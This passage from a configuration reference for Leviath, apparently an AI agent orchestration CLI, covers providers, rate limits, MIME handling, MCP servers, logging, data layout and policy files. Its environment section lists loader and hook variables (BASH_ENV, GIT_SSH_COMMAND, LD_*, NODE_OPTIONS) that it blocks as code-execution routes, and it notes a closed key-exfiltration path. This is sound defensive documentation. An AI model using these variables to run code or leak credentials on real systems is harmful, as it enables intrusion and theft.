entry to leave it. A 0 on either key means no limit on that side:
requests_per_minute = 0 leaves only the token window in force, and
tokens_per_minute = 0 only the request window.
A throttle is visible, not silent. The first time a run waits on the token
window, the daemon logs a warn naming the limit. lev doctor (and
GET /api/doctor) flags a tokens_per_minute low enough to throttle almost
every call. Both point at the same fix: raise it, or set 0. This matters
because the limit was parsed but not enforced in older versions, so a value set
back then now shapes a run for the first time.
This shapes request rate. [limits] max_concurrent_inferences and
[limits.max_concurrent_inferences_by_provider] bound concurrency. Both apply. Script providers
configure their rate limit under [model_providers.<name>.rate_limit] instead; their concurrency
cap goes in [limits.max_concurrent_inferences_by_provider] with everyone else's.
When the file will not load
A key Leviath does not recognize is a warning. A file it cannot parse is different: there is no config to read at all, so nothing can be applied.
Leviath never falls back to defaults there, and never stops. The last version of the file that loaded stays in force, so runs in flight keep going and new ones still start. What changes is that your edits are not being read. That is the part that used to be silent, which is what made a single typo cost an afternoon.
Every surface now says so, and each one clears itself when the file parses again. Nothing has to be restarted:
| Where | What you see |
|---|---|
lev run |
One line before the run starts: the file, and where in it the problem is |
lev ps |
The same fact under the run table |
lev doctor |
The config check fails, with the line and column, or with the key |
lev dash |
A warning across the top of the screen for as long as the file is broken |
lev validate |
A warning that the model and read-path checks were skipped; the blueprint is still checked |
GET /api/config |
A config_error object, and a config_health frame on /ws. See the API reference |
The lev run line also says that this run is on the last config that loaded. A file that does
load gets the same scrutiny lev doctor gives it: stale keys and script providers whose file is
missing are warned about on the way past.
Two kinds of problem are reported differently, because they are found differently:
- A syntax error, or a value of the wrong type for its key, has a place in the file: it is reported with a line and a column.
- A refused value parsed fine and was then turned down: an
openai-compatiblegateway with nobase_url, or an[[mcp_servers]]entry with neither acommandnor aurl. There is no position to point at, so it is reported with the dotted key it is about, such asmodel_providers.local.
The file is read once per save. A broken file nobody has touched since costs one stat, not a
re-read and a fresh warning on every command.
Keys nothing reads
A key Leviath does not recognize is named at start-up rather than ignored, wherever it sits:
WARN config.toml has keys nothing reads; they are being ignored.
keys=limits.max_concurrent_tool, cache, providers.anthropic_cach_ttllev doctor and lev validate report the same list, for when that scrolls past. lev doctor also
names a [rate_limits.<provider>] entry whose provider does not exist, which is a case the key
check cannot see: that table takes any name, so a misspelled provider deserializes perfectly and
throttles nothing.
A [model_providers.<name>] script entry whose .rhai file is nowhere on disk is close kin, and
both commands name it too, with the path they looked for. Without that check the entry resolves to
no provider and nothing says why. It also catches sript = "x.rhai": the misspelled key is kept
and forwarded to the script (see below), so script stays unset, the entry falls back to
<name>.rhai by convention, and finds nothing.
This is a warning, not an error. Every command reads config.toml, so one stale key should not take
the CLI down. A blueprint is different: it is authored and validated deliberately, and it fails on
an unknown key.
The one place unrecognized keys are kept: a script [model_providers.<name>] entry forwards
anything it does not recognize to the Rhai script, so those are read and never reported. An
openai-compatible endpoint entry has no script to forward to, so it refuses an unknown key
instead (see OpenAI-compatible endpoints).
[model_capabilities.<model_id>]
Per-model corrections to the provider's built-in capability table. Useful for a local or self-hosted model Leviath does not know, or one whose window it has wrong.
Name only what you are changing. Every field is optional and an unnamed one keeps whatever the provider already reports for that model, so the common case is one line:
[model_capabilities."moonshotai/kimi-k3"]
max_context_tokens = 1048576The quotes are TOML's, needed for any id with a /, a . or a : in it, which every Bedrock id
has: [model_capabilities."us.amazon.nova-pro-v1:0"].
A misspelled key is refused at load rather than ignored, so a typo cannot look like a working override. The full set, when you do want to state all of it:
[model_capabilities.my-local-llama]
supports_temperature = true
supports_streaming = true
supports_tools = true
supports_system_prompt = true
max_context_tokens = 32768
max_output_tokens = 4096
input_types = ["text/*", "image/*"] # what it takes in a request
output_types = ["text/*"] # what it can hand back
retention = "zero" # what the provider keeps of its requestsretention replaces what Leviath believes the provider keeps of this model's requests: zero,
30d (any number of days), indefinite or unknown. It is per model, for one whose policy
differs from its provider's or one the compiled-in table has never heard of, and it wins over
everything else lev providers retention knows.
input_types and output_types are mime type patterns, and they replace the provider's
list rather than adding to it, so name text/* too. They are how a local vision model gets
sent an image instead of a one-line stand-in for it. More than text explains what a
model does with each type.
supports_tools = false is more than "do not offer tools": such a model's provider refuses any
request that carries a function call, the history included. A stage on that model gets whatever
tools ran earlier in the run as prose: what was called, what came back. It is advertised no
tool at all, whatever the stage grants, and the run log notes the tools it left out. That is what
lets an image model sit in a graph beside stages that use tools.
lev models show <model> prints the values a run will actually use, with any correction already
applied, and says whether they came from the provider's own listing or this build's table.
GET /api/models carries the same numbers plus a limits_source of api, builtin or
override, so a client can tell a figure the provider reported from one this build matched off the
model's name. The two are not worth the same and they look identical once printed.
Where a model's capabilities come from
Three sources, narrowest first:
A
[model_capabilities]entry, if you wrote one. Your number is the last word, which is how you correct an API that is itself wrong. One exception: a model that has refused a temperature is never sent another, whatever an entry says, because the request was made and the answer was no.What the provider's own listing reports, read once when the daemon starts, again whenever
GET /api/modelsorlev modelsasks, and kept for the life of the process. No two listings carry the same fields, so each provider reads what its own endpoint has and leaves the rest to the table:provider reads learns cannot learn OpenRouter /modelsboth limits, temperature and tools, the price per token, cache-write billing, the release date nothing it lists; a few entries carry no supported_parametersAnthropic /v1/models, every pagemax_input_tokens,max_tokens, the display name, the release datetemperature: the listing has no such field, so the table says which models refuse one OpenAI /v1/modelsthe model ids, release and retirement dates sizes, temperature and tools: the listing describes none of them Google /v1beta/models, every pageboth limits, whether the model samples ( maxTemperature); models withoutgenerateContentare droppedtools, price, dates. Needs the native base URL; an OpenAI-compat one has no such listing Ollama /api/ps, then/api/showthe served window (see below), whether the model calls tools ( capabilities)temperature: every local model takes one OpenRouter reports temperature and tool support under
supported_parameters, and whether the upstream bills a cache write, which is the signal for explicit cache markers.Once a provider's listing has been read it is also the complete list of what that provider serves, so
lev validaterefuses a model it does not carry. Ollama is the exception:/api/tagsis what has been pulled, not what Ollama can serve.The table compiled into this build, matched against the model's name, and for an OpenRouter model it does not name, a conservative 128,000 tokens.
Ollama is asked twice because the two endpoints answer different questions. /api/ps reports the
window the runner actually allocated for a model it currently has loaded, which is the only
figure that is an observation rather than an inference, so it is taken as final. For anything not
loaded, /api/show gives the num_ctx the model's Modelfile pins. Its model_info also carries the
architecture's maximum, and that is deliberately not used. It is what the weights allow rather
than what the server will serve. On a model whose Modelfile pins 32 768 against a 262 144
architecture, it would replace one overestimate with a much larger one.
So a warm Ollama model reports its true window and a cold one that pins no num_ctx still falls back
to the compiled table. Calling a model once is enough to make it warm.
The reason this order matters is that region budgets are percentages of the window. A budget = "30%"
region on a model that really holds 1M tokens is 314,572 tokens if the window is known, and 38,400
if it fell back. Neither case raises an error. The agent evicts working material early and reads as
a worse model.
A provider that cannot be reached at start-up costs nothing but the fallback: Leviath warns, keeps
the compiled table, and starts. Through OpenRouter, a model listed without temperature is not
sent one once the listing has been read; the whole gpt-5 line is listed that way, and gpt-5.5
refuses one outright. It warns once per model when a run does land on the fallback, naming
the line that fixes it.
Note
Region budgets written as percentages resolve against max_context_tokens, so a wrong window is
not cosmetic. A budget = "30%" region on a model assumed to be 128k gets 38 400 tokens instead
of the 314 572 a 1M-token model would give it. OpenRouter fronts far more models than any built-in
table names, so Leviath warns once per model when it falls back to a conservative window and tells
you the line to add here.
[mime]
Ceilings on the parts More than text describes: the images, audio, video, documents and 3D models that move through regions, tools and outputs. Defaults shown.
[mime]
# max_part_bytes = 33554432 # one part, at every ingress; unset, see below
inline_text_bytes = 1048576 # text kept inside the entry before it is stored by hash
max_media_bytes_per_request = 20971520 # stored media one request carries, where a provider names no limit (20 MiB)
provider_file_ttl_secs = 86400 # how long an upload lives in a provider's file storage (a day)
overwrite_artifacts = false # let a produced artifact replace a different file at its pathA part over max_part_bytes is refused where it arrives, whether that is an upload, a tool
result or a model reply. Left unset, it is the largest part a configured provider takes, by
upload or inline (1 GiB with Meta, 500 MiB with Anthropic), or 32 MiB when none names a limit.
lev mime list prints the value in force and where it came from. provider_file_ttl_secs is
the lifetime asked for on each upload, clamped to what the provider takes. Text longer than inline_text_bytes is stored by hash like any other
part and read back as text when a request is built. max_media_bytes_per_request is a backstop
for the vendor request-size limits a token budget cannot see. An image's token estimate is the
same whatever its byte size, so a request can sit inside its context window and still be
megabytes of media on the wire. Past it, the oldest stored parts are sent as their stand-ins
instead, with a warning in the run's log.
overwrite_artifacts is about a file a run made that never touched disk, like an image a model
drew or a mesh a provider built. When the run hands it back as an artifact, it is written into
the working directory under the name it was given. If a different file is already there, maybe
yours or a previous run's answer, it is left alone by default and the new one is written beside
it as <stem>-<sha8>.<ext>. The answer records that path. Set this to true to replace the
file instead. A blueprint can decide for itself with
overwrite_artifacts in its output table, and that wins over this.
[mime_types."type/subtype"]
Rows added to the mime registry. They belong in mime_types.toml beside
this file, which is where lev mime init puts them; a table here still loads, and the file's
rows layer over it. The row keys are the same in both places.
[model_providers.<name>]
A custom provider, keyed by the name a blueprint writes before the slash. Without a kind the
entry is overrides for a Rhai script provider: a script activates by being
referenced and existing in ~/.leviath/providers/, and this table only supplies extras. With
kind = "openai-compatible" it is a native provider for a server that speaks OpenAI's chat API,
described in its own section below.
[model_providers.groq]
script = "groq" # defaults to <name>.rhai
api_key = "..."
base_url = "https://api.groq.com/openai/v1"
retention = "zero" # what this host keeps of its requests, if you know
[model_providers.groq.rate_limit]
requests_per_minute = 30
tokens_per_minute = 100000Any other key you add is forwarded verbatim to the script's initialize(config). retention is
forwarded too, and Leviath reads it as well. Leviath knows nothing about a custom host's data
retention, so zero, 30d, indefinite or unknown here is what lev providers retention
and the zero_retention switch go by for it.
serves is the one key that is not forwarded: it names the models this provider answers for, so a
blueprint entry naming one of them with no provider can resolve here.
[model_providers.spark]
serves = ["deepseek-v4-flash"]Only needed by a script with no list_models; one that has it is asked directly and its answer
wins. A provider that reports neither claims no models and can only be reached by a blueprint that
pins it. See preferring a script provider.
OpenAI-compatible endpoints
A [model_providers.<name>] entry with kind = "openai-compatible" reaches any server that
answers POST /chat/completions and GET /models in OpenAI's shape, with no script to write:
llama.cpp, LM Studio, vLLM, BionicGPT, and any OpenAI-compatible gateway. llama.cpp and LM Studio
are presets in lev setup; the rest go through the wizard's Custom OpenAI-compatible endpoint
entry, or straight into the file.
default_provider = "llama-cpp"
override_model = "qwen3-8b"
[providers]
anthropic_api_key = "sk-ant-..."
[model_providers.llama-cpp]
kind = "openai-compatible"
base_url = "http://localhost:8080/v1"
[model_providers.llama-cpp-big]
kind = "openai-compatible"
base_url = "http://192.168.1.20:8080/v1"
api_key = "..." # optional; sent as a bearer token
headers = { "X-Org" = "research" } # optional; extra headers on every request
[model_providers.azure]
kind = "openai-compatible"
base_url = "https://my-resource.openai.azure.com/openai/v1"
api_key = "..."
auth_header = "api-key" # Azure takes the key in this header, not as a bearer token
serves = ["gpt-5.5"]
retention = "zero" # only with Azure's abuse-monitoring exemption approved
zero_retention_request = "openai" # send store = false when zero_retention is onThis is three providers: two llama.cpp servers under their own names, and Anthropic. A blueprint
reaches a model on one of them as llama-cpp/qwen3-8b or llama-cpp-big/llama-3-70b, and the
default_provider above sends every stage that allows a user default to the first. base_url is
required and includes the path prefix the server expects, usually /v1. Each entry may also carry
rate_limit and serves, which mean what they mean for a script provider. An endpoint entry refuses
to load with a key it does not read. A script entry forwards such keys to its initialize, while
an endpoint has nowhere to send them. So a misspelled models or headers is an error naming the
entry, rather than a catalogue or header that quietly never arrives.
The fourth entry above is Azure OpenAI, whose /openai/v1/ surface speaks OpenAI's chat API and
takes its key in an api-key header. auth_header names the header api_key goes in, in place of
Authorization: Bearer; leave it out for a server that takes a bearer token. To reach Azure through
OpenAI's Responses API instead, with file uploads and reasoning replay, use
kind = "openai". Two keys on an endpoint are about
data retention. retention says what the host keeps, which Leviath
cannot know for a custom host. Azure keeps prompts up to 30 days for abuse monitoring unless the
exemption is approved for your subscription, so write zero only then.
zero_retention_request names the built-in provider whose per-request zero-retention fields this
host takes when [providers] zero_retention is on: openai sends store = false, openrouter
the provider.zdr routing fields. Without it an endpoint is sent neither, because Leviath cannot
tell an Azure deployment from a llama.cpp server that would reject the field.
Streaming and tool calls are on. Each request carries the temperature the stage asks for and its
output cap as max_tokens. A server that refuses the temperature is asked again without it. One
that refuses max_tokens and asks for max_completion_tokens, which is how OpenAI's reasoning
models answer, is asked again with the cap under that name. Either way the model is remembered for
the rest of the process, so later requests start in the shape it takes.
Detection. At start-up Leviath asks each endpoint GET /models and uses the ids it lists,
with no filtering. lev models list --provider llama-cpp and GET /api/models show them, and the
wizard offers them as the default model. A server that refuses the route or does not answer falls
back to the ids named in models:
[model_providers.gateway]
kind = "openai-compatible"
base_url = "https://llm.example.com/v1"
models = ["mixtral-8x22b", "llama-3-70b"]models is read only when detection fails; a server that lists its models is believed over it.
With neither a listing nor a models list the provider does not say what it serves, and a
blueprint that pins a model on it is sent through rather than refused.
Windows and cost. A /models listing says nothing reliable about context windows. A model
served under a vendor's own id (gpt-5.5, or openai/gpt-5.5 through a gateway) is sized from
that vendor's table, the same as the native provider sizes it. Any other id, such as an Azure
deployment you named yourself, is assumed to hold 128 000 tokens until a
[model_capabilities] entry names the real figure; lev models show <model> reports which it is. Token counts are the local estimate, and cost is reported as
unknown unless the same entry sets a price.
Ollama keeps its own native provider ([providers] ollama_base_url) rather than
going through this kind, because Leviath reads a model's context window and tool support from
Ollama's /api/show, which the OpenAI-style shim does not report. Pointing an
openai-compatible entry at Ollama works, but loses that.
OpenAI at another host
[providers] openai_base_url points the built-in openai provider at one other host. When you
have more than one, such as two Azure resources behind different API Management gateways with
different keys, give each its own [model_providers.<name>] entry with kind = "openai". Each is
OpenAI's own provider, speaking the Responses API, under the name you give it:
[model_providers.azure-east]
kind = "openai"
base_url = "https://east-resource.openai.azure.com/openai/v1"
api_key = "..."
auth_header = "api-key"
[model_providers.azure-west]
kind = "openai"
base_url = "https://west-gateway.azure-api.net/openai/v1"
api_key = "..."
auth_header = "Ocp-Apim-Subscription-Key"
serves = ["prod-gpt55"] # a deployment name, so a bare model name can route hereA blueprint reaches them as azure-east/gpt-5.5 and azure-west/prod-gpt55. base_url and
api_key are required. auth_header names the header the key goes in; without it the key is sent
as a bearer token, which Azure's /openai/v1/ surface also accepts. headers, rate_limit,
serves, retention and zero_retention_request mean what they mean on an
OpenAI-compatible entry, and models routes the same way serves
does. A model is sized from OpenAI's table by its id, so a deployment you named yourself needs a
[model_capabilities] entry. Azure keeps prompts for abuse
monitoring unless your subscription has the exemption, so write retention = "zero" only then.
[[mcp_servers]]
MCP tool servers. lev mcp add writes these for you.
[[mcp_servers]]
name = "tracker"
transport = "http" # stdio | http; inferred from command/url when omitted
url = "https://api.example.com/mcp"
headers = { Authorization = "Bearer ${TRACKER_TOKEN}" }
[[mcp_servers]]
name = "local-fs"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"]
env = { LOG_LEVEL = "debug" }Values in headers and env may use ${VAR} to pull from the environment.
name must be letters, digits, _ or -, and no two entries may share one. The name goes into
every one of that server's tool names as <server>__<tool>, and a model provider refuses a tool
name with anything else in it. A name Leviath cannot use is refused when the config loads rather
than rewritten, since rewriting my.tools to my_tools would collide with a server actually
called my_tools. See naming a server.
[nudge]
Machine-wide defaults for the empty-response nudge: the [System] message injected when a stage's
model replies with text before making any tool call.
[nudge]
enabled = true
max = 3
text = "You have tools available. Please use them to complete the task. Start by reading the relevant files in the working directory."All three keys are optional and each is overridden independently by an agent's [agent.nudge] or a
stage's [stages.<name>.nudge]. text supports {stage} and {regions} placeholders. Defaults
are on, max = 3, and a built-in message. See Nudging.
[title]
Auto-generated short run titles.
[title]
enabled = true
provider = "anthropic"
model = "claude-haiku-4-5-20251001"enabled defaults to true. provider and model fall back to the run's own first-stage
provider and model. The section reloads with the rest of the file, so turning titles on or off
reaches the next run with no daemon restart.
[webhook]
Delivery tuning for completion webhooks. Every field has a default, so the whole section can be omitted. The webhook URL itself is per-spawn, not configured here; see the API docs.
[webhook]
max_retries = 3 # retries after the first attempt; 0 disables retries
base_delay_ms = 500 # doubles per retry, capped at max_delay_ms
max_delay_ms = 30000
timeout_secs = 10 # per attempt[observability]
OpenTelemetry export, off by default. Full walkthrough in Observability.
[observability]
enabled = true
exporter = "otlp" # otlp | stdout | none
endpoint = "http://localhost:4318"
service_name = "leviath"
log_file_max_bytes = 5242880 # daemon.log and each serve-<name>.log; 0 never rolls
capture_model_input = false # write each run's exact prompts into its journalendpoint falls back to OTEL_EXPORTER_OTLP_ENDPOINT, then http://localhost:4318. Leviath
exports OTLP over HTTP/protobuf, so a collector's gRPC port (4317) will not work.
service_name falls back to OTEL_SERVICE_NAME, then "leviath".
log_file_max_bytes sizes every log file Leviath writes for itself: the daemon's
~/.leviath/daemon.log and each server's ~/.leviath/serve-<name>.log. When a file reaches the
cap it is renamed to <name>.1, replacing the previous one, and a fresh file starts. The default
is 5 MiB, so no process holds more than about 10 MiB of its own output. Set 0 to let the files
grow without limit. The daemon applies a change on the next run, with no restart; a server reads
the cap when it starts. See the daemon page for what the files hold.
capture_model_input writes the exact request every run sends the model into that run's journal,
once per provider attempt. Off by default, and read the warning before you change that. A
captured request is the whole prompt: file contents a tool read, command output, the task somebody
typed, and any credential that passed through them. There is no size cap, so a captured run's
journal grows by roughly the context size per attempt. The setting is read at spawn, so it applies
to runs started after the change. To capture a single run, ask at spawn instead. See
capturing what went to the model.
Environment variables
Leviath can read provider keys from a .env file in the directory you run lev in. It does not
unless you ask: set load_dotenv = true at the top of config.toml (the Load ./.env switch on
the advanced screen of lev setup), or run one command with LEVIATH_LOAD_DOTENV=1.
LEVIATH_SKIP_DOTENV turns it off whatever the other two say. Only that one file is read, never a
walk up the tree, and a variable you have already exported always wins.
It is off by default because a cloned repository is the working directory, so its .env is
content somebody else wrote. With it on, credentials from it load normally. The handful of names that
decide where configuration comes from, or what gets executed, are ignored instead, with a warning
naming them. That covers the LEVIATH_ namespace, PATH, SHELL, EDITOR, VISUAL, and the
LD_* and DYLD_* loader variables. It also covers the interpreter and tool hook variables that
turn a later command into code execution: BASH_ENV, GIT_SSH_COMMAND and the other GIT_* hooks,
PAGER, NODE_OPTIONS, PYTHONSTARTUP, PYTHONPATH, PERL5OPT, RUBYOPT, JAVA_TOOL_OPTIONS,
RUSTC_WRAPPER, and their kin. Without that, one line of LEVIATH_CONFIG_PATH in a repository you cloned would point
Leviath at a config file of its choosing, with its own MCP server commands and tool permissions.
Export those yourself if you meant them.
| Variable | Effect |
|---|---|
LEVIATH_HOME |
Redirects the whole data root. Every home-relative path honors it, so an isolated test or a second install works |
LEVIATH_CONFIG_PATH |
Path to an exact config file, bypassing the default location |
LEVIATH_LOAD_DOTENV |
1 or true reads ./.env for this command, as load_dotenv = true does |
LEVIATH_SKIP_DOTENV |
Set to skip .env loading, whatever load_dotenv says |
LEVIATH_RUNS_DIR |
Overrides where run directories are written |
LEVIATH_API_TOKEN |
Bearer token for lev serve. The server refuses to start without one |
LEVIATH_CONTROL_TIMEOUT_SECS |
Deadline for one control-socket request |
LEVIATH_DASHBOARD_LOG_PATH |
Overrides the dashboard log file |
LEVIATH_DUMP_REQUEST_DIR |
Writes each outgoing provider request to this directory, for debugging |
ANTHROPIC_API_KEY, OPENAI_API_KEY, GOOGLE_API_KEY, OPENROUTER_API_KEY |
Provider key fallbacks for [providers] |
OLLAMA_HOST |
Fallback for ollama_base_url |
ANTHROPIC_BASE_URL, OPENAI_BASE_URL, GOOGLE_BASE_URL, OPENROUTER_BASE_URL |
Gateway host fallbacks for [providers] |
OTEL_EXPORTER_OTLP_ENDPOINT, OTEL_SERVICE_NAME |
Fallbacks for [observability] |
EDITOR, VISUAL |
Editor used when a prompt opens one |
XDG_CONFIG_HOME |
Where policy.toml and scripted rules are looked up. Linux only |
Warning
A variable whose name looks like a credential is not readable by Rhai scripts through env_var()
unless you list it in [security] allow_env_vars. That closed an exfiltration path where a
two-line script tool could read a provider key and POST it elsewhere with no prompt.
Where things live on disk
Everything persistent sits under the data root, <home>/.leviath, which LEVIATH_HOME redirects.
| Path | Holds |
|---|---|
config.toml |
This file, created 0600 |
yolo.toml |
The named profiles behind lev run --yolo=<name>. See below |
mime_types.toml |
Your rows in the mime registry: what a type is. See below |
mcp-auth.json |
MCP OAuth tokens, created 0600 |
runs/ |
One directory per run: meta.json, context.json, stages.json, the run.lvr journal, per-stage logs |
agents/ |
Blueprints installed by lev add |
providers/ |
Drop-in Rhai provider scripts |
tools/ |
Drop-in Rhai tool scripts, offered to every agent |
dashboard.log |
lev dash diagnostics |
The daemon's control socket, its token, its pid file, and a build marker live here too.
What a run directory holds
Four things, with different jobs:
| File | What it is | Rewritten or appended |
|---|---|---|
meta.json |
The run's current status, model, token totals, wait reason | Rewritten whole |
context.json |
The context window as it stands right now | Rewritten whole |
stages.json |
Per-stage names and status | Rewritten whole |
run.lvr |
The journal: every step, in order | Append-only |
The first three answer "what is true now" and are cheap to read. run.lvr answers "how did it get
here", and is what lev context replays and what a daemon restart folds to recover a
run.
The run.lvr format
A four-byte magic (LVR1), a two-byte format version, then a sequence of records. Each record is
an eight-byte big-endian length followed by that many bytes of JSON.
LVR1 | u16 version | [ u64 length | JSON payload ] ...Folding the records in order reconstructs the run. Most are a Progress record carrying a diff
against the previous context, anchored by a full ContextCheckpoint whenever the writer has no
previous state to diff against.
Adding a record kind is not a breaking change. Frames carry their length, so a reader that meets a record kind it does not know steps over it and keeps going. That is what lets a newer Leviath write records an older one can still read around, and it is why the version below does not move when a kind is added.
The version marks a change to the framing, meaning the preamble, the length prefix, or the payload encoding. It does not mark a change to the record set. A build refuses an archive whose version is higher than it understands, rather than reading it: at that point it cannot find the record boundaries, so it would not fail cleanly, it would produce nonsense. An older version reads normally.
A torn tail is tolerated. A crash mid-append leaves a partial final frame, and readers stop there and keep everything before it. An interrupted run still recovers to its last intact point.
mime_types.toml
Your rows in the mime registry, which says what each mime type is, live in
mime_types.toml beside config.toml (so under the data root, and wherever
LEVIATH_CONFIG_PATH points when that is set). A key is a type/subtype or a type/*
pattern; name only what you change, and every other field resolves from the built-in table (the
exact type, then type/*, then */*). lev mime init writes this example to start from, and the
live copy is the one the tests check. lev mime add and
lev mime remove edit rows in place, and lev mime list prints the table the file makes with
each row's source. An edit reaches the next run at once and every run already under way within
the daemon's housekeeping interval of thirty seconds, with nothing restarted.
["model/obj"]
extensions = ["obj"]
text = true # UTF-8 under the hood: may reach a text model as text
["application/x-acme-scene"]
family = "model"
extensions = ["scene"]
magic = "41434D45"
tokens = { per_byte = 0.1 }
stand_in = "[{type} {size}] {name}"| Key | Meaning |
|---|---|
family |
What providers key their encoders on: text, image, audio, video, document, model, binary, or a name of your own |
text |
The bytes are UTF-8 and may travel inline and reach any text model as text |
tokens |
Exactly one of the five counting rules listed under this table |
extensions |
Extensions, without the dot, that imply this type |
magic |
A hex prefix that identifies the bytes |
stand_in |
What a consumer that cannot take the type sees; {type} {name} {size} {dims} {duration} {pages} |
check |
A Rhai script, relative to this file's directory, that refuses bytes which are not what they claim |
tokens takes exactly one of { per_byte = 0.25 }, { per_pixel = 750, max = 1600 },
{ per_second = 32 }, { per_page = 2000 } or { fixed = 1000 }. A page rule counts a PDF's
pages from the file. When it cannot, because every page sits inside a compressed object stream, a
page is assumed every 64 KiB.
A check script's check(bytes, mime_type) function is what turns the bytes down. An empty ""
lifts a check a broader row put on the type.
A misspelled key inside a row is refused, and a check that cannot be read or compiled is refused
with its row named. A file that will not load is skipped by the daemon and reported by
lev doctor, named by path. A [mime_types] block cut out of an
older config.toml loads as it was, wrapper and all. A run's tools may not write the file
(lock_permission_files), since what a file is typed as decides what a model is shown.
yolo.toml
The named profiles behind lev run --yolo=<name> live in yolo.toml, beside config.toml,
and follow LEVIATH_CONFIG_PATH when that is set. Each table is a name you can pass, and says
which tool calls run unprompted, which still raise the ordinary approval prompt, and which are
refused. lev yolo init writes an example to start from.
With [security] lock_permission_files on (the default), no run's tools may write this file.
See yolo profiles for every field and how a verdict is reached, or write your first yolo profile for a walkthrough.
policy.toml
Taint-gate policy lives in its own file, not in config.toml. It sits in your platform's config
directory, managed with lev policy:
| Platform | Path |
|---|---|
| macOS | ~/Library/Application Support/leviath/policy.toml |
| Linux | ~/.config/leviath/policy.toml, or $XDG_CONFIG_HOME/leviath/policy.toml when set |
| Windows | %APPDATA%\leviath\policy.toml |
[[allowlist]]
tool = "http_post"
to = ["https://hooks.internal/*"]
max_sensitivity = "internal" # public | internal | private
[mcp_overrides.tracker.tools.create_issue]
sensitivity = "internal"
direction = "outbound"
clearance = "internal"[mcp_overrides] reclassifies one MCP tool for the taint gate. Name the server, then
tools, then the tool, each as its own key. A dot inside either name needs no special handling
that way: [mcp_overrides."my.tools".tools."find.all"] is read as the server my.tools and the
tool find.all.
Leviath stores the override under the name the tool is advertised to the model as, which is
<server>__<tool> with every character a provider refuses rewritten. That is the name the gate
looks up, so my.tools and find.all above are classified as my_tools__find_all. lev policy add writes that flat name directly, and both spellings are read.
Note
The advertised name is always exactly <server>__<tool>, so you can write an override before the
server has ever connected. lev policy list prints the name each override landed on, and
lev policy test <tool> says how one is classified.
Scripted rules live as .rhai files in a rules/ directory beside policy.toml, so
~/Library/Application Support/leviath/rules/ on macOS and ~/.config/leviath/rules/ on Linux. See
Rhai tools and Security.
Both are re-read when they change: add an allowlist rule, edit a .rhai rule, or delete one, and
the next run is gated against what the files say now. No daemon restart. A policy.toml that will
not parse is ignored in favour of the policy already in force, so a half-typed edit never quietly
widens or narrows the gate.